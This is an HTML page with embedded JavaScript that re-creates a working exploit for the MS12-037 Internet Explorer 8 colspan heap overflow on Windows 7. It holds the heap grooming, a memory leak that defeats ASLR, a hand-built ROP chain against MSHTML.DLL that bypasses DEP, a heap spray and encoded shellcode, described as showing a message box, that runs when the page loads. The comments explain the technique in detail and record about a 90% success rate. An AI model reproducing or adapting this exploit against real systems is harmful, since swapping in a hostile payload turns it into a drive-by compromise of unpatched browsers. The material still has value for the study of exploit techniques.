<html>
<body>
<div id="ButtonContainer"></div>
<table style="table-layout:fixed">
    <col id="132" width="41" span="9" >&nbsp </col>
</table>
<script>

//███╗   ███╗███████╗ ██╗██████╗        ██████╗ ██████╗ ███████╗
//████╗ ████║██╔════╝███║╚════██╗      ██╔═████╗╚════██╗╚════██║
//██╔████╔██║███████╗╚██║ █████╔╝█████╗██║██╔██║ █████╔╝    ██╔╝
//██║╚██╔╝██║╚════██║ ██║██╔═══╝ ╚════╝████╔╝██║ ╚═══██╗   ██╔╝ 
//██║ ╚═╝ ██║███████║ ██║███████╗      ╚██████╔╝██████╔╝   ██║  
//╚═╝     ╚═╝╚══════╝ ╚═╝╚══════╝       ╚═════╝ ╚═════╝    ╚═╝  
// 
// Re-creation of MS12-037 Internet Explorer Heap Overflow Exploit
//
// Tested on: Windows 7 SP1 Home Basic/Pro 64-bit with Internet Explorer 8 (8.00.7601.17514)
// Features: DEP + ASLR bypass, chained memory leak
// Original author: Alexandre Pelletier
// Re-creation author: Forrest Orr
//
// Overview
//
// This exploit is loosely based on the public Metasploit module for MS12-037 on Github
// at: https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/browser/ms12_037_ie_colspan.rb
//
// For DEP bypass, I'm using a custom hand written ROP chain from MSHTML.DLL version 8.00.7601.17514 32-bit.
//
// The exploit works by triggering two consecutive heap overflows, both targetting a CButtonLayout object.
// The first overflow is used to read MSHTML.DLL module pointers from the CButtonLayout, while the second
// overflow is used to overwrite the vtable pointer of this same CButtonLayout. A method within this object is
// subsequently called, triggering an EIP redirect via a heap sprayed vtable to a stack pivot in MSHTML.DLL.   
//
// The underlying bug is within a colspan array buffer referenced by a CTableLayout structure. CTableLayout
// contains a pointer to an array of column span objects, each with a size of 0x1C, with a total count 
// equal to that of the "span" value of the bugged column tag (ID "132"). When the value of "span" is changed,
// the size of the colspan array dynamically grows but is NOT re-allocated, resulting in a heap overflow.
//
// The heap overflow itself is limited in the sense that the data in the overflow cannot be fully controlled.
// It can be influenced, in the sense that the span objects in the array are (to a large extent) populated with values
// derived from the "width" field of the column. Thus we can ensure that the data within the heap overflow will primarily
// consist of a repeated arbitrary 32-bit value of our choice. This value is a new (larger) BSTR length in the
// first heap overflow, and the absolute address of a heap sprayed fake vtable in the second heap overflow.
// 
// Payload
//
// The shellcode is my own custom code, the source for which can be found at:
// https://github.com/forrest-orr/ExploitDev/blob/master/Shellcode/Projects/MessageBox/MessageBox32.asm
//
// In order for my shellcode to play nicely with unescape, I ran it through the alpha_mixed ASCIi encoder module
// in msfvenom. Msfvenom gave me odd results when I directly applied it to my shellcode, but worked clean when
// I applied my shellcode as a secondary payload, and set a do-nothing shellcode (just a RET instruction) as the
// primary payload. Msfvenom requires that a register be provided to its encoders which can be depended upon to
// point to the shellcode at runtime (for position independent decoding purposes). Failing to provide this register
// results in msfvenom using FPU instructions to grab EIP, which corrupts the shellcode since it is being stored
// at the top of the stack (a region written to by the FPU instruction). Due to the use of the PUSHAD technique in
// the ROP chain, there's a 4 byte NOP sled at ESP above the shellcode in memory which must be accounted for. There
// is also another 4 NOPs inserted prior to the shellcode due to padding at the end of the MSHTML ROP chain for
// alignment purposes. This results in a total NOP sled size of 8, and ESP being 8 bytes off from the start of the
// shellcode post-ROP chain. I solve this by giving a "BufferOffset" of 8 to msfvenom.
//
// Design
//
// The MSF variation of this exploit has no chained memory leak and is using the classic JRE 6.45 non-ASLR module
// msvcr71.dll. In my version I dynamically generate a ROP chain from MSHTML.DLL after leaking its base.
//
// Quirks
//
// The MSF version of this exploit did not work on Windows 7 64-bit in any of my tests. While analyzing the exploit,
// I discovered a strange inconsistency in the MSF code, wherein the author had made the assumption that the "width"
// value of the column will be multiplied by 100 when calculating the values to be embedded into the colspan buffer
// array. On my Windows 7 64-bit OS, the width is multiplied by 150, thus I had to calculate my heap spray address
// differently.
//
// Additionally, the absolute address of the heap sprayed vtable in the MSF variation of this exploit (0x07070024)
// was highly unreliable in my own tests, often already being committed by the memory manager. Therefore, I chose
// a significantly higher address (0x0AEB0024) for my own heap spray.
//
// Because of the fact that my chosen heap spray address of 0x0AEB0024 is not a clean multiple of 150, I had to
// chose a slightly higher address which was a clean multiple (0x0AEB0082) and then pad the start of my heap sprayed
// chunks with the difference (94 bytes) for a clean EIP direct when the vtable of the corrupted CButtonLayout is
// hijacked.
//
// At present, the exploit is not 100% reliable: the colspan buffer will not always "fall" into one of the trap
// free blocks created by the heap grooming after CollectGarbage and thus will not always overflow the correct object.
// I have around a 90% success rate.


var ButtonContainerDiv = document.getElementById("ButtonContainer");
var SprayCount = 400; // This is enough to consistently hit 0x0AEB0000
var SprayArray = new Array(SprayCount); // CollectGarbage will free heap sprayed chunks if this is not global.
var Shellcode = unescape("%u5954%u4949%u4949%u4949%u4949%u4343%u4343%u4343%u4343%u5137%u6a5a%u5841%u3050%u3041%u6b41%u4141%u3251%u4241%u4232%u3042%u4242%u4241%u5058%u4138%u7542%u494a%u306a%u3035%u4c4b%u6848%u5969%u5035%u5045%u5075%u704e%u4b4a%u6346%u4c34%u364b%u646f%u306a%u4b7a%u4874%u7771%u4874%u644a%u6b46%u3258%u6b58%u7254%u5632%u3055%u4b7a%u3153%u6d4b%u494c%u6548%u6135%u5238%u5443%u6b4e%u6273%u5046%u307a%u6b6e%u6243%u4c54%u4b6c%u3276%u4435%u706e%u506c%u6b6e%u5232%u4876%u6f46%u574e%u6a72%u4636%u7144%u6f59%u7164%u304f%u4c4e%u6b38%u4574%u326b%u7433%u496e%u4f39%u7442%u4c67%u5173%u6c51%u7277%u6c34%u7075%u5149%u6f5a%u6d46%u5145%u4768%u6278%u6968%u6b38%u7567%u686a%u5738%u5970%u4f66%u4950%u3266%u7742%u6b6e%u7252%u5034%u4b6c%u6272%u6c55%u7147%u707a%u4b6c%u5051%u7850%u556d%u5079%u706e%u4443%u4b31%u3173%u707a%u3036%u6b6e%u3867%u4865%u4b4c%u7832%u7065%u6146%u5358%u7379%u4c70%u7973%u706e%u4b6c%u4457%u6b4e%u306a%u3143%u5648%u6145%u6f79%u304a%u504c%u7174%u304f%u4c6e%u616a%u4f78%u6d56%u5135%u5769%u7834%u7069%u6b78%u3373%u7a4c%u525a%u7370%u4543%u4e7a%u307a%u3353%u4d33%u584a%u6b35%u4d73%u6444%u6531%u4839%u4831%u706e%u4b6c%u7852%u4466%u3133%u4339%u3665%u6b6e%u4c34%u4b30%u6b4e%u3836%u6c57%u5155%u5378%u504c%u4b4c%u6456%u4b4c%u3163%u704a%u307a%u796f%u7453%u5477%u7435%u6b63%u6b43%u706e%u3145%u306a%u5970%u6a73%u704e%u3136%u6f49%u306d%u5830%u305a%u6f73%u7a52%u4b4a%u5235%u6f63%u4675%u4b6c%u3262%u704e%u7959%u6d63%u6f39%u6f79%u6f59%u506c%u4d51%u504c%u4e6f%u4254%u5075%u7057%u5055%u5a73%u3037%u3845%u7037%u3062%u5065%u3043%u5630%u706e%u4a42%u7067%u5843%u3836%u3479%u4361%u6568%u4f6b%u754a%u696e%u5349%u796f%u4738%u396b%u7168%u6858%u4e77%u5045%u5055%u7047%u6e73%u324c%u544f%u7869%u4f55%u5035%u5075%u3033%u6b4d%u504b%u4d75%u7a75%u7a47%u4842%u3649%u556c%u6d6d%u4d4d%u6f69%u356e%u4c67%u3673%u4c33%u4a74%u506d%u6b59%u7049%u6551%u5575%u6b6d%u5761%u6337%u3264%u6f70%u5a63%u7047%u4351%u6f79%u755a%u3170%u704b%u7072%u5070%u7052%u3346%u5050%u5050%u4832%u7874%u6850%u6d66%u4645%u6f79%u756a%u4851%u7872%u7151%u494a%u3763%u3033%u3053%u5045%u487a%u4d4f%u6f39%u6f69%u4f6b%u704e%u4348%u7572%u694e%u7569%u6830%u584d%u4e70%u6d36%u7077%u6858%u7362%u5045%u3033%u5035%u3875%u564d%u7732%u4d54%u7057%u3076%u7869%u446d%u3033%u3063%u5065%u5833%u4357%u7274%u7077%u7047%u5833%u3536%u4353%u7571%u4273%u7452%u6f69%u304e%u4832%u7a46%u586e%u7667%u5035%u7032%u6868%u4c43%u5045%u3063%u3043%u4a52%u3475%u5833%u3054%u3754%u4e42%u5553%u796f%u6158%u3845%u6e50%u6570%u5442%u5065%u5833%u4f72%u6261%u6231%u4e36%u7831%u6550%u5372%u4443%u6d64%u4832%u6630%u6f70%u5262%u5272%u5853%u6771%u5752%u4733%u4e46%u594d%u424a%u5a73%u7057%u3246%u7132%u6a30%u7037%u6f69%u5038%u794f%u4c5a%u6d33%u4378%u3576%u594d%u6538%u4761%u4661%u4e4f%u5036%u7067%u5075%u3033%u6430%u6d6c%u6b4e%u3067%u6c56%u4b6c%u4833%u4845%u596d%u6e39%u5156%u5079%u4b5a%u3453%u5936%u576a%u4473%u5867%u356b%u6669%u7470%u3451%u6d6e%u4e51%u7475%u454c%u4b59%u4473%u7456%u4b6c%u6b52%u6436%u656e%u794b%u4463%u4d54%u6a30%u6156%u3166%u7869%u6d63%u3143%u5075%u5065%u6b45%u3537%u5865%u7470%u4664%u7154%u5059%u6b6e%u7664%u6b58%u5778%u6b4e%u3637%u3042%u4e31%u4f71%u596d%u6c78%u4d71%u4278%u5435%u7057%u7562%u496c%u556b%u514d%u4c6a%u3070%u6266%u7057%u3033%u4b6c%u6532%u5855%u694e%u7563%u587a%u6b6e%u4571%u7858%u3353%u5231%u4c77%u436c%u5079%u4444%u496c%u7563%u7058%u536d%u5069%u3432%u494c%u6562%u7438%u794f%u4278%u6b4e%u3567%u7857%u7347%u6242%u3075%u6b6e%u4a70%u6450%u794f%u6d52%u5048%u494c%u6542%u6c49%u396b%u5239%u6b4e%u5551%u4864%u7357%u3237%u7075%u494c%u7543%u6c68%u6b6e%u3546%u6c69%u6b6e%u5551%u6836%u4364%u7243%u6454%u596d%u4570%u444a%u6b4e%u3536%u4c4b%u6b6e%u5571%u7867%u7347%u7253%u6c77%u496c%u3577%u487a%u7144%u5049%u796f%u7543%u7079%u594d%u4530%u384e%u6b4e%u6542%u4c4b%u4b6c%u3067%u7856%u4b77%u7553%u7079%u6f56%u466c%u4239%u7037%u5065%u3063%u4b4c%u7573%u506b%u4d6c%u4c64%u754f%u5065%u7057%u5045%u7077%u4b6c%u6573%u4c7a%u6b6e%u5561%u4844%u6336%u4464%u3172%u794f%u6552%u4479%u5a53%u3033%u7072%u487a%u6d6d%u5055%u3033%u7057%u6b45%u7543%u6c66%u4f74%u456c%u614c%u3063%u7037%u5065%u4b4c%u5531%u7069%u6d4e%u6437%u7037%u6b4e%u7553%u6468%u6f36%u674d%u5475%u5245%u6d4e%u4c64%u556d%u3053%u3073%u3063%u5045%u4b4c%u6533%u586b%u4b6c%u5561%u7877%u6346%u6476%u3142%u396b%u3577%u4869%u6b6e%u6d42%u6c79%u494c%u5a39%u4334%u5530%u705a%u3930%u4878%u4c33%u6f51%u5936%u707a%u4d63%u4b43%u774b%u5561%u386e%u5065%u7067%u3053%u5035%u3170%u5959%u6d6e%u4d6d%u707a%u6d69%u4f4b%u6f49%u5a4d%u6467%u5865%u506d%u6a59%u5035%u7470%u5077%u306b%u5a6a%u6e74%u3534%u7576%u4768%u6346%u4e66%u4462%u4c42%u4c32%u634e%u5349%u7437%u664a%u5355%u5035%u4d4c%u6d4f%u5058%u6e39%u6f39%u6f79%u6142%u4b7a%u6e6b%u386b%u5374%u5161%u6362%u6b78%u786a%u366f%u4364%u3053%u6d4e%u4d4d%u304e%u4d4b%u6f59%u6f59%u5a33%u7067%u7372%u584b%u4c57%u5075%u5075%u3033%u5030%u485a%u636c%u4e4b%u6f79%u6f49%u454c%u704b%u6431%u7935%u696e%u4550%u4c79%u6a30%u5045%u6d6e%u456d%u5068%u4e6b%u6f79%u4f6b%u7272%u384d%u5167%u7047%u5065%u5075%u3076%u4f4b%u7530%u6c6b%u6858%u5148%u6e49%u6f49%u4f6b%u494c%u7543%u5868%u6b68%u4a34%u4d6c%u3557%u7069%u6f79%u5065%u7969%u4f45%u6f49%u6f49%u4f4b%u6b6e%u4570%u384e%u796f%u6c38%u6d63%u4268%u7837%u3033%u4561%u394b%u7539%u7772%u4b6c%u6d62%u6876%u4b4c%u4d73%u4c74%u6135%u6b6b%u704f%u6975%u7047%u5442%u5454%u4f74%u3658%u5135%u6c56%u5063%u4f34%u764c%u5048%u7167%u4359%u5168%u6378%u5171%u554d%u6f79%u4453%u6a68%u7133%u4b6a%u6768%u694e%u786a%u4f51%u796f%u4c4a%u4d61%u627a%u5875%u5035%u4141"); // msfvenom -p generic/custom -e x86/alpha_mixed BufferRegister=ESP BufferOffset=8 -a x86 --platform Windows -c c:\MessageBox32.BIN -o Z:\Shared\ExploitDev\shellcode-encoded.bin PAYLOADFILE=z:\Shared\ExploitDev\NothingShellcode32.bin

ButtonContainerDiv.style.cssText = "display:none";
FreeBlocks = new Array(); // Globally declare these so that they are not freed when the heap grooming function returns
A_StrBlocks = new Array();
B_StrBlocks = new Array();

function HeapSpray(Content, StartOffset, RegionCount) { // Spray the data specified in Content in 0x10000 chunks within 1MB allocated regions. The starting offset of the content in the 1MB chunks may be 0, or any multiple of 2.
	var PrePadding = unescape("%u1111");
	var TailPadding = unescape("%u2222");
	var Data;
	
	if(StartOffset > 0) {
		Data = PrePadding;
		
		for(i = 0; i < ((StartOffset / 2) - 1); i++) { // -1 for var init
			Data += PrePadding;
		}
		
		Data += Content
	}
	else {
		Data = Content;
	}
	
	// These are chunks of 0x10000 bytes, then x 16 for 1MB. 0x10000 is the ideal size for heap spray as it ensures consistency, while 1MB is not (they will not always begin at a consistent 1MB multiple). 1MB chunks have a 0x20 header size, others have 0x8. 0x10000 will end up as sub-chunks within the 1MB allocations with no headers. This ensures that any multiple of 0x10000 ie. 0x11a00000, 0x11b00000, etc. will always be hit, and the payload will be at offset 0x24 within them (to accomodate 1MB header size of 0x20 + 4 byte BSTR length).
	
	while (TailPadding.length < (65536/2)) { // This is a fast way of making a large chunk
	  TailPadding = TailPadding + TailPadding
	}
	
	Data = Data + TailPadding;
	
	// 65536 * 16 = 1048576 (1MB). Exclude 38 (0x26) bytes for heap chunk header (0x20 bytes), BSTR length (0x4 bytes), null terminator (0x2 bytes).
	
	var SprayChunk = Data.substr(0, 65536/2);
	
    for (i = 0; i < 14; i++) {
		SprayChunk += Data.substr(0, 65536/2);
    }
    
	SprayChunk += Data.substr(0, (65536/2) - (38/2));
	
    for (i = 0; i < RegionCount; i++) {
      SprayArray[i] = SprayChunk.substr(0, SprayChunk.length);
    }
}

function ReBaseRopChain(ModuleBase) {
	var RopChain = [
		ModuleBase + Number(0x00014ef8), // RET
		ModuleBase + Number(0x00014ef7), // POP EAX ; RET
		// MSHTML.DLL will CALL [EAX + 8] while trying to access a method within the corrupted/overflowed CButtonLayout where EAX is 0x0AEB0082, my padded heap spray block (the fake vtable).
		ModuleBase + Number(0x14F917),   // XCHG EAX, ESP ; RETN 0
		ModuleBase + Number(0x00014ef7), // POP EAX
		ModuleBase + Number(0x1348),     // MSHTML!VirtualProtect
		ModuleBase + Number(0x6F0BB),    // MOV EAX, DWORD PTR [EAX] ; RET
		ModuleBase + Number(0x28E833),   // XCHG EAX, ESI ; RET
		ModuleBase + Number(0x00014ef7), // POP EAX
		0x90909090,
		ModuleBase + Number(0x00002c60), // POP EBP ; RET
		ModuleBase + Number(0x372369),   // JMP ESP
		ModuleBase + Number(0x00003059), // POP EBX ; RET
		0x5000,
		ModuleBase + Number(0x00002fa9), // POP ECX ; RET
		ModuleBase + Number(0x00538000), // <MSHTML!.data>
		ModuleBase + Number(0x0009ced0), // POP EDX ; RET
		0x00000040,
		ModuleBase + Number(0x000030ae), // POP EDI ; RET
		ModuleBase + Number(0x00014ef8), // ROPNOP
		ModuleBase + Number(0x000394a1), // PUSHAD ; RET
		0x90909090 // Alignment NOP sled for this table. Will be combined with NOP sled from EAX for a total length of 8 bytes.
	];
	 
	return RopChain;
}
 
function DwordToUnicode(Dword) {
	var Unicode = String.fromCharCode(Dword & 0xFFFF);
	Unicode += String.fromCharCode(Dword >> 16);
	return Unicode;
}

function TableToUnicode(Table) {
	var Unicode = "";
	
	for (i = 0; i < Table.length; i++) {
		Unicode += DwordToUnicode(Table[i]);
	}

	return Unicode;
}

function PadString(Count, PadChar) {
	var Str = "";
	var Offset = 0;
	
	do {
		Str += PadChar;
		Offset += 1;
	} while (Offset < Count);

	return Str;
}

function UnicodeStrToInt(Str) {
	return (Str.charCodeAt(1) * 0x10000) + Str.charCodeAt(0); // 2 wide chars = 4 bytes
}

function HeapGroom(){
	var FreeStr = PadString(125, "F"); // 250 (0xFA) bytes, +4 for BSTR length = 254 (0xFE), +2 for null terminator = 256 (0x100). Span (size 0x1C * 9) = 0xFC.
	var A_Str = PadString(125, "A")
	var B_Str = PadString(125, "B")

	// [Free][A][B][CButtonLayout]
	
	for (i = 0; i < 500; i += 2) {
		FreeBlocks[i] = FreeStr.substring(0, 125);
		A_StrBlocks[i] = A_Str.substring(0, 125);
		B_StrBlocks[i] = B_Str.substring(0, 125);
		var CButtonObj = document.createElement("button");
		ButtonContainerDiv.appendChild(CButtonObj);
	}
	
	for (i = 0; i < 500; i += 2) {
		FreeBlocks[i] = null;
	} 
	
	CollectGarbage(); // [Free][A][B][CButtonLayout] -> [Span array][A][B][CButtonLayout]
}

function VtableOverflow() {
	var BuggedCol = document.getElementById("132");
	BuggedCol.width = "1221155"; // 0x0AEB0082. Multiple of 150, not 100.
	BuggedCol.span = "44";  
}
	
function CollectMemoryLeak(){
	var OverflowedBlockIndex = -1;

	for(i = 0; i < 500; i += 2) {
		if(B_StrBlocks[i].length != 125) {
			OverflowedBlockIndex = i;
			break;
		}
	}

	if(OverflowedBlockIndex != -1) {
		//alert(OverflowedBlockIndex);
		var MshtmlBase = UnicodeStrToInt(B_StrBlocks[OverflowedBlockIndex].substring(136, 140));
		MshtmlBase = MshtmlBase - Number(0x158690);
		//alert(MshtmlBase.toString(16));
		var RopChain = TableToUnicode(ReBaseRopChain(MshtmlBase)) ;
		var Payload = RopChain + Shellcode;
		HeapSpray(Payload, 94, 400); // 0x0AEB0082 - 0x0AEB0024 bytes of padding
		//alert("Heap spray finished... overwriting CButtonLayout vtable...");
		VtableOverflow();
	}
	else {
		alert("Memory leak overflow failed. No BSTR length corrupted.");
	}
}

function BstrOverflow() {
	var BuggedCol = document.getElementById("132");
	BuggedCol.width = "149"; // Multiple of 150, not 100.
	BuggedCol.span = "22";
}

HeapGroom();
BstrOverflow();
setTimeout(function(){CollectMemoryLeak()},1000); // This is the only timeout which seems to make a difference. It works fine as 500. MSF and other versions of this exploit set both the heap groom and vtable overflow on timers, it isn't clear to me why...

</script>
</body>
</html>
